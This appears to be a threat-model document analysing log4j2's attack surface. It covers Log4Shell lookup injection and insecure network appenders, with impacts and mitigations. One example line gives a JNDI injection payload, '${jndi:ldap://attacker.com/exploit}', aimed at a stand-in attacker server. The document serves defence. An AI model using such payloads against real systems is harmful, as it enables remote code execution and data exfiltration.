Skip to content

Latest commit

 

History

History
39 lines (33 loc) · 5.23 KB

attack-surface.md

File metadata and controls

39 lines (33 loc) · 5.23 KB

Attack Surface Analysis for apache/logging-log4j2

Attack Surface: Input Injection via Log Messages (Log4Shell and Similar)

  • Description: Attackers can inject malicious payloads into application inputs that are subsequently logged by log4j2. Due to log4j2's message lookup feature, these payloads can be interpreted and executed, leading to severe consequences like Remote Code Execution.
  • log4j2 Contribution to Attack Surface: Log4j2's message lookup mechanism, particularly the JNDI lookup, allows for dynamic substitution within log messages. If user-controlled input is logged and contains lookup syntax (e.g., ${jndi:ldap://...}), log4j2 attempts to resolve it, potentially executing arbitrary code.
  • Example: An attacker crafts a malicious HTTP User-Agent header containing ${jndi:ldap://attacker.com/exploit}. If the application logs this header using log4j2, the library will attempt a JNDI lookup to the attacker's LDAP server, potentially downloading and executing malicious code on the server.
  • Impact:
    • Remote Code Execution (RCE): Complete control over the server, allowing attackers to install malware, steal data, or disrupt operations.
    • Information Disclosure: Exfiltration of sensitive data by directing lookups to attacker-controlled servers that capture the resolved values.
    • Denial of Service (DoS): Application crash or resource exhaustion due to malicious lookups triggering resource-intensive operations.
  • Risk Severity: Critical
  • Mitigation Strategies:
    • Immediately Update log4j2: Upgrade to the latest patched version of log4j2 (version 2.17.1 or later) to address known RCE vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832).
    • Disable Message Lookups: Set the system property log4j2.formatMsgNoLookups=true or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true. This is the most effective mitigation for preventing lookup-based injection attacks.
    • Remove JNDI Lookup Class (If Patching is Delayed): As a temporary measure for older versions, remove the vulnerable JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. This will break JNDI lookups but prevent the most critical RCE vector.
    • Strict Input Sanitization: Sanitize and validate all user inputs before logging. Treat any untrusted data with extreme caution and avoid logging it directly into message formats that could be interpreted as commands.

Attack Surface: Insecure Network Appender Configuration

  • Description: Using network appenders (like Socket Appender, SMTP Appender) in log4j2 without proper security measures can expose log data and potentially the logging system to network-based attacks.
  • log4j2 Contribution to Attack Surface: Log4j2 provides flexible appenders to send logs over the network. Misconfiguring these appenders with insufficient security directly creates a network attack surface.
  • Example:
    • Configuring a Socket Appender to send logs in plain text over an unencrypted network connection. Attackers on the network could eavesdrop and intercept sensitive information contained in the logs.
    • Using a Socket Appender without authentication, allowing unauthorized systems to connect and potentially inject malicious log messages or disrupt the logging service.
    • Exposing the port used by a network appender to the public internet without proper access controls, making the logging system a potential target for external attackers.
  • Impact:
    • Information Disclosure: Exposure of sensitive data transmitted over the network in logs.
    • Log Injection/Manipulation: Attackers injecting malicious log messages into the log stream, potentially leading to log poisoning or further exploitation if logs are used for security monitoring or analysis.
    • Denial of Service (DoS): Overwhelming the logging receiver with a flood of logs or disrupting the network communication of the logging system.
  • Risk Severity: High
  • Mitigation Strategies:
    • Use Secure Network Protocols: When using network appenders, always use encrypted protocols like TLS/SSL to protect log data in transit. Configure appenders to use secure connections.
    • Implement Authentication: If possible, configure network appenders to use authentication mechanisms to ensure only authorized systems can send or receive logs.
    • Network Segmentation and Access Control: Restrict network access to logging ports and systems. Place logging receivers in secure network segments and use firewalls to control traffic.
    • Regular Security Audits of Configuration: Periodically review log4j2 configuration, especially network appender settings, to ensure they adhere to security best practices and are not exposing unnecessary attack surfaces.

These are the key high and critical attack surfaces directly related to log4j2. Addressing these vulnerabilities through the recommended mitigation strategies is crucial for securing applications using this logging library.